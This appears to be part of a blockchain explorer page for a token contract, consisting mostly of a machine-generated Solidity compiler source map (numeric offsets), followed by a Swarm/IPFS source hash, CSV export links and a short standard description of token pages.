8187:47:0::1;8264:6;;;;;;;;;-1:-1:-1::0;;;;;8264:6:0::1;-1:-1:-1::0;;;;;8264:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8252:40:0::1;;8301:4;8308:6;;;;;;;;;-1:-1:-1::0;;;;;8308:6:0::1;-1:-1:-1::0;;;;;8308:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8252:70;::::0;-1:-1:-1;;;;;;8252:70:0::1;::::0;;;;;;-1:-1:-1;;;;;7387:15:1;;;8252:70:0::1;::::0;::::1;7369:34:1::0;7439:15;;7419:18;;;7412:43;7304:18;;8252:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8245:4;:77:::0;;-1:-1:-1;;;;;8245:77:0;;::::1;-1:-1:-1::0;;;;;;8245:77:0;;::::1;::::0;::::1;::::0;;;:4:::1;8333:21:::0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;8333:28:0::1;8245:77:::0;8333:28:::1;::::0;;8392:4:::1;8372:26:::0;;;:11:::1;:26:::0;;;;;8407:6:::1;::::0;;;::::1;8372:43:::0;;;;;;-1:-1:-1;;8372:63:0;;8446:6;;;::::1;::::0;:22:::1;::::0;8476:21:::1;::::0;8513:24:::1;8392:4:::0;-1:-1:-1;;;;;9215:18:0;9197:7;9215:18;;;:9;:18;;;;;;;9131:105;8513:24:::1;8538:1;8540::::0;8543:7:::1;3157::::0;3184:6;-1:-1:-1;;;;;3184:6:0;;3111:87;8543:7:::1;8551:15;8446:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8585:4:0::1;::::0;8607:6:::1;::::0;8578:53:::1;::::0;-1:-1:-1;;;8578:53:0;;-1:-1:-1;;;;;8607:6:0;;::::1;8578:53;::::0;::::1;8563:51:1::0;-1:-1:-1;;8630:18:1;;;8623:34;8585:4:0;::::1;::::0;-1:-1:-1;8578:20:0::1;::::0;8536:18:1;;8578:53:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;638:192::-:0;724:7;760:12;752:6;;;;744:29;;;;-1:-1:-1;;;744:29:0;;;;;;;;:::i;:::-;-1:-1:-1;784:9:0;796:5;800:1;796;:5;:::i;:::-;784:17;638:192;-1:-1:-1;;;;;638:192:0:o;11030:1482::-;11118:4;-1:-1:-1;;;;;11143:20:0;;11135:70;;;;-1:-1:-1;;;11135:70:0;;9285:2:1;11135:70:0;;;9267:21:1;9324:2;9304:18;;;9297:30;9363:34;9343:18;;;9336:62;-1:-1:-1;;;9414:18:1;;;9407:35;9459:19;;11135:70:0;9083:401:1;11135:70:0;-1:-1:-1;;;;;9215:18:0;;9197:7;9215:18;;;:9;:18;;;;;;11224:6;:27;;11216:88;;;;-1:-1:-1;;;11216:88:0;;9691:2:1;11216:88:0;;;9673:21:1;9730:2;9710:18;;;9703:30;9769:34;9749:18;;;9742:62;-1:-1:-1;;;9820:18:1;;;9813:47;9877:19;;11216:88:0;9489:413:1;11216:88:0;11332:1;11323:6;:10;11315:47;;;;-1:-1:-1;;;11315:47:0;;10109:2:1;11315:47:0;;;10091:21:1;10148:2;10128:18;;;10121:30;10187:26;10167:18;;;10160:54;10231:18;;11315:47:0;9907:348:1;11315:47:0;-1:-1:-1;;;;;11378:19:0;;;;;;:11;:19;;;;;;;;11377:20;:47;;;;-1:-1:-1;;;;;;11402:22:0;;;;;;:11;:22;;;;;;;;11401:23;11377:47;11373:98;;;11434:11;;-1:-1:-1;;;11434:11:0;;;;11426:45;;;;-1:-1:-1;;;11426:45:0;;10462:2:1;11426:45:0;;;10444:21:1;10501:2;10481:18;;;10474:30;-1:-1:-1;;;10520:18:1;;;10513:51;10581:18;;11426:45:0;10260:345:1;11426:45:0;11527:16;;-1:-1:-1;;;11527:16:0;;;;11524:74;;;11553:42;11569:6;11577:9;11588:6;11553:15;:42::i;:::-;11546:49;;;;11524:74;11626:5;;11616:6;:15;;:42;;;-1:-1:-1;;;;;;11635:23:0;;;;;;:15;:23;;;;;;;;11616:42;11608:57;;;;-1:-1:-1;;;11608:57:0;;10812:2:1;11608:57:0;;;10794:21:1;10851:1;10831:18;;;10824:29;-1:-1:-1;;;10869:18:1;;;10862:32;10911:18;;11608:57:0;10610:325:1;11608:57:0;-1:-1:-1;;;;;11680:26:0;;;;;;:15;:26;;;;;;;;11679:27;:38;;;;-1:-1:-1;11710:7:0;;-1:-1:-1;;;11710:7:0;;;;11679:38;11676:111;;;11764:9;;-1:-1:-1;;;;;11728:20:0;;;;;;:9;:20;;;;;;:32;;11753:6;11728:24;:32::i;:::-;:45;;11720:64;;;;-1:-1:-1;;;11720:64:0;;11142:2:1;11720:64:0;;;11124:21:1;11181:1;11161:18;;;11154:29;-1:-1:-1;;;11199:18:1;;;11192:36;11245:18;;11720:64:0;10940:329:1;11720:64:0;11830:4;11797:12;11812:24;:9;:24;;11855:13;;11895:4;;11845:23;;;;;-1:-1:-1;;;;;11882:17:0;;;11895:4;;11882:17;:38;;;;-1:-1:-1;11904:16:0;;-1:-1:-1;;;11904:16:0;;;;11903:17;11882:38;:63;;;;-1:-1:-1;11924:21:0;;-1:-1:-1;;;11924:21:0;;;;11882:63;:74;;;;;11949:7;11882:74;:98;;;;-1:-1:-1;;;;;;11961:19:0;;;;;;:11;:19;;;;;;;;11960:20;11882:98;:125;;;;-1:-1:-1;;;;;;11985:22:0;;;;;;:11;:22;;;;;;;;11984:23;11882:125;11879:156;;;12010:22;:20;:22::i;:::-;12065:53;;;;;;;;;;;-1:-1:-1;;;12065:53:0;;;;;;;;-1:-1:-1;;;;;12065:17:0;;-1:-1:-1;12065:17:0;;;:9;:17;;;;;;;;:53;;12087:6;;12065:21;:53::i;:::-;-1:-1:-1;;;;;12045:17:0;;;;;;:9;:17;;;;;;;;:73;;;;12152:11;:19;;;;;;;;12151:20;:47;;;;-1:-1:-1;;;;;;12176:22:0;;;;;;:11;:22;;;;;;;;12175:23;12151:47;:106;;12251:6;12151:106;;;12201:47;12222:6;12230:9;12241:6;12201:20;:47::i;:::-;-1:-1:-1;;;;;12291:20:0;;;;;;:9;:20;;;;;;12129:128;;-1:-1:-1;12291:37:0;;12129:128;12291:24;:37::i;:::-;-1:-1:-1;;;;;12268:20:0;;;;;;;:9;:20;;;;;;;:60;;;;12344:40;;;;;;;;;;12372:11;160:25:1;;148:2;133:18;;14:177;12344:40:0;;;;;;;;-1:-1:-1;;;;;;;;12395:23:0;;;;;;;:15;:23;;;;;;12421:15;12395:41;;;;12438:26;;;;;;;:44;12500:4;11030:1482;;;;;:::o;496:136::-;554:7;581:43;585:1;588;581:43;;;;;;;;;;;;;;;;;:3;:43::i;13531:855::-;7336:16;:23;;-1:-1:-1;;;;7336:23:0;-1:-1:-1;;;7336:23:0;;;13636:4:::1;7336:23:::0;13618:24;;;7355:4;13618:24:::1;::::0;;;;;13693:6:::1;::::0;13618:24;;7336:23;13676:33:::1;::::0;13705:3:::1;::::0;13676:24:::1;::::0;13618;;13676:16:::1;:24::i;:::-;:28:::0;::::1;:33::i;:::-;13653:56;;13720:26;13749:45;13792:1;13749:38;13783:3;13749:29;13766:11;;13749:12;:16;;:29;;;;:::i;:45::-;13720:74:::0;-1:-1:-1;13810:20:0::1;13833:54;13874:12:::0;13833:36:::1;:12:::0;13720:74;13833:16:::1;:36::i;:54::-;13810:77;;13908:25;13920:12;13908:11;:25::i;:::-;13977:4;::::0;13946:50:::1;::::0;-1:-1:-1;;;13946:50:0;;-1:-1:-1;;;;;13977:4:0;;::::1;13946:50;::::0;::::1;8563:51:1::0;8630:18;;;8623:34;;;13961:4:0::1;::::0;13946:30:::1;::::0;8536:18:1;;13946:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14009:23;14035:21;14009:47;;14067:23;14093:48;14139:1;14093:41;14130:3;14093:32;14113:11;;14093:15;:19;;:32;;;;:::i;:48::-;14067:74:::0;-1:-1:-1;14166:22:0;;14162:103:::1;;14204:49;14217:18;14237:15;14204:12;:49::i;:::-;14281:19:::0;;14277:102:::1;;14324:10;::::0;14316:51:::1;::::0;-1:-1:-1;;;;;14324:10:0;;::::1;::::0;14345:21:::1;14316:51:::0;::::1;;;::::0;14324:10:::1;14316:51:::0;14324:10;14316:51;14345:21;14324:10;14316:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14277:102;-1:-1:-1::0;;7382:16:0;:24;;-1:-1:-1;;;;7382:24:0;;;-1:-1:-1;;;;13531:855:0:o;4418:191::-;4492:16;4511:6;;-1:-1:-1;;;;;4528:17:0;;;-1:-1:-1;;;;;;4528:17:0;;;;;;4561:40;;4511:6;;;;;;;4561:40;;4492:16;4561:40;4481:128;4418:191;:::o;12520:322::-;12651:53;;;;;;;;;;;-1:-1:-1;;;12651:53:0;;;;;;;;-1:-1:-1;;;;;12651:17:0;;12614:4;12651:17;;;:9;:17;;;;;;;:53;;12673:6;;12651:21;:53::i;:::-;-1:-1:-1;;;;;12631:17:0;;;;;;;:9;:17;;;;;;:73;;;;12738:20;;;;;;;:32;;12763:6;12738:24;:32::i;:::-;-1:-1:-1;;;;;12715:20:0;;;;;;;:9;:20;;;;;;;:55;;;;12777:35;;;;;;;;;;12805:6;160:25:1;;148:2;133:18;;14:177;12777:35:0;;;;;;;;-1:-1:-1;12830:4:0;12520:322;;;;;:::o;309:181::-;367:7;;399:5;403:1;399;:5;:::i;:::-;387:17;;428:1;423;:6;;415:46;;;;-1:-1:-1;;;415:46:0;;11606:2:1;415:46:0;;;11588:21:1;11645:2;11625:18;;;11618:30;11684:29;11664:18;;;11657:57;11731:18;;415:46:0;11404:351:1;12854:665:0;13031:4;;12953:7;;;;-1:-1:-1;;;;;13018:17:0;;;13031:4;;13018:17;13046:44;;;;13081:7;;13065:23;;13046:44;13111:10;;-1:-1:-1;;;;;13103:18:0;;;13111:10;;13103:18;:37;;;;;13126:14;13125:15;13103:37;13100:93;;;13159:32;13184:6;;13171:11;;:19;;;;:::i;:::-;13159:7;;;:11;:32::i;:::-;13143:48;;13100:93;13216:4;;-1:-1:-1;;;;;13216:4:0;;;13206:14;;;;13203:43;;13238:6;;13222:22;;13203:43;13256:17;13276:34;13306:3;13276:25;:6;13287:13;13276:10;:25::i;:34::-;13366:4;13348:24;;;;:9;:24;;;;;;13256:54;;-1:-1:-1;13348:39:0;;13256:54;13348:28;:39::i;:::-;13339:4;13321:24;;;;:9;:24;;;;;;;:66;;;;13403:42;;-1:-1:-1;;;;;13403:42:0;;;;;;;13435:9;160:25:1;;148:2;133:18;;14:177;13403:42:0;;;;;;;;13465:46;13488:6;13476:9;:18;:34;;13501:9;13476:34;;;13497:1;13476:34;13465:6;;:10;:46::i;:::-;13458:53;12854:665;-1:-1:-1;;;;;;;12854:665:0:o;836:250::-;894:7;918:1;923;918:6;914:47;;-1:-1:-1;948:1:0;941:8;;914:47;973:9;985:5;989:1;985;:5;:::i;:::-;973:17;-1:-1:-1;1018:1:0;1009:5;1013:1;973:17;1009:5;:::i;:::-;:10;1001:56;;;;-1:-1:-1;;;1001:56:0;;12320:2:1;1001:56:0;;;12302:21:1;12359:2;12339:18;;;12332:30;12398:34;12378:18;;;12371:62;-1:-1:-1;;;12449:18:1;;;12442:31;12490:19;;1001:56:0;12118:397:1;1092:132:0;1150:7;1177:39;1181:1;1184;1177:39;;;;;;;;;;;;;;;;;:3;:39::i;14812:455::-;14899:16;;;14913:1;14899:16;;;;;;;;14875:21;;14899:16;;;;;;;;;;-1:-1:-1;14899:16:0;14875:40;;14944:4;14926;14931:1;14926:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14926:23:0;;;:7;;;;;;;;;;:23;;;;14970:6;;:13;;;-1:-1:-1;;;14970:13:0;;;;:6;;;;;:11;;:13;;;;;14926:7;;14970:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14960:4;14965:1;14960:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;14960:23:0;;;-1:-1:-1;;;;;14960:23:0;;;;;14996:35;15012:4;15019:11;14996:7;:35::i;:::-;-1:-1:-1;15044:6:0;;:215;;-1:-1:-1;;;15044:215:0;;-1:-1:-1;;;;;15044:6:0;;;;:57;;:215;;15116:11;;15044:6;;15186:4;;15213;;15233:15;;15044:215;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14862:405;14812:455;:::o;15275:279::-;15356:6;;15497:8;;15356:190;;-1:-1:-1;;;15356:190:0;;-1:-1:-1;;;;;15356:6:0;;;;:22;;15386:9;;15356:190;;15419:4;;15439:11;;15356:6;;;;15497:8;;15520:15;;15356:190;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15275:279;;:::o;1230:345::-;1316:7;1418:12;1411:5;1403:28;;;;-1:-1:-1;;;1403:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1442:9:0;1454:5;1458:1;1454;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:248::-;2968:6;2976;3029:2;3017:9;3008:7;3004:23;3000:32;2997:52;;;3045:1;3042;3035:12;2997:52;-1:-1:-1;;3068:23:1;;;3138:2;3123:18;;;3110:32;;-1:-1:-1;2900:248:1:o;3379:127::-;3440:10;3435:3;3431:20;3428:1;3421:31;3471:4;3468:1;3461:15;3495:4;3492:1;3485:15;3511:422;3600:1;3643:5;3600:1;3657:270;3678:7;3668:8;3665:21;3657:270;;;3737:4;3733:1;3729:6;3725:17;3719:4;3716:27;3713:53;;;3746:18;;:::i;:::-;3796:7;3786:8;3782:22;3779:55;;;3816:16;;;;3779:55;3895:22;;;;3855:15;;;;3657:270;;;3661:3;3511:422;;;;;:::o;3938:806::-;3987:5;4017:8;4007:80;;-1:-1:-1;4058:1:1;4072:5;;4007:80;4106:4;4096:76;;-1:-1:-1;4143:1:1;4157:5;;4096:76;4188:4;4206:1;4201:59;;;;4274:1;4269:130;;;;4181:218;;4201:59;4231:1;4222:10;;4245:5;;;4269:130;4306:3;4296:8;4293:17;4290:43;;;4313:18;;:::i;:::-;-1:-1:-1;;4369:1:1;4355:16;;4384:5;;4181:218;;4483:2;4473:8;4470:16;4464:3;4458:4;4455:13;4451:36;4445:2;4435:8;4432:16;4427:2;4421:4;4418:12;4414:35;4411:77;4408:159;;;-1:-1:-1;4520:19:1;;;4552:5;;4408:159;4599:34;4624:8;4618:4;4599:34;:::i;:::-;4669:6;4665:1;4661:6;4657:19;4648:7;4645:32;4642:58;;;4680:18;;:::i;:::-;4718:20;;3938:806;-1:-1:-1;;;3938:806:1:o;4749:140::-;4807:5;4836:47;4877:4;4867:8;4863:19;4857:4;4836:47;:::i;4894:168::-;4967:9;;;4998;;5015:15;;;5009:22;;4995:37;4985:71;;5036:18;;:::i;5427:356::-;5629:2;5611:21;;;5648:18;;;5641:30;5707:34;5702:2;5687:18;;5680:62;5774:2;5759:18;;5427:356::o;6901:251::-;6971:6;7024:2;7012:9;7003:7;6999:23;6995:32;6992:52;;;7040:1;7037;7030:12;6992:52;7072:9;7066:16;7091:31;7116:5;7091:31;:::i;7466:607::-;-1:-1:-1;;;;;7825:15:1;;;7807:34;;7872:2;7857:18;;7850:34;;;;7915:2;7900:18;;7893:34;;;;7958:2;7943:18;;7936:34;;;;8007:15;;;8001:3;7986:19;;7979:44;7787:3;8039:19;;8032:35;;;;7756:3;7741:19;;7466:607::o;8078:306::-;8166:6;8174;8182;8235:2;8223:9;8214:7;8210:23;8206:32;8203:52;;;8251:1;8248;8241:12;8203:52;8280:9;8274:16;8264:26;;8330:2;8319:9;8315:18;8309:25;8299:35;;8374:2;8363:9;8359:18;8353:25;8343:35;;8078:306;;;;;:::o;8668:277::-;8735:6;8788:2;8776:9;8767:7;8763:23;8759:32;8756:52;;;8804:1;8801;8794:12;8756:52;8836:9;8830:16;8889:5;8882:13;8875:21;8868:5;8865:32;8855:60;;8911:1;8908;8901:12;8950:128;9017:9;;;9038:11;;;9035:37;;;9052:18;;:::i;11274:125::-;11339:9;;;11360:10;;;11357:36;;;11373:18;;:::i;11760:131::-;11820:5;11849:36;11876:8;11870:4;11849:36;:::i;11896:217::-;11936:1;11962;11952:132;;12006:10;12001:3;11997:20;11994:1;11987:31;12041:4;12038:1;12031:15;12069:4;12066:1;12059:15;11952:132;-1:-1:-1;12098:9:1;;11896:217::o;12652:127::-;12713:10;12708:3;12704:20;12701:1;12694:31;12744:4;12741:1;12734:15;12768:4;12765:1;12758:15;12784:980;13046:4;13094:3;13083:9;13079:19;13125:6;13114:9;13107:25;13151:2;13189:6;13184:2;13173:9;13169:18;13162:34;13232:3;13227:2;13216:9;13212:18;13205:31;13256:6;13291;13285:13;13322:6;13314;13307:22;13360:3;13349:9;13345:19;13338:26;;13399:2;13391:6;13387:15;13373:29;;13420:1;13430:195;13444:6;13441:1;13438:13;13430:195;;;13509:13;;-1:-1:-1;;;;;13505:39:1;13493:52;;13600:15;;;;13565:12;;;;13541:1;13459:9;13430:195;;;-1:-1:-1;;;;;;;13681:32:1;;;;13676:2;13661:18;;13654:60;-1:-1:-1;;;13745:3:1;13730:19;13723:35;13642:3;12784:980;-1:-1:-1;;;12784:980:1:o

Swarm Source

ipfs://0af786f9dddcec4d54a667c4f4364e36b6d9fdb89e561a6c67fc6cc649a3f104
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.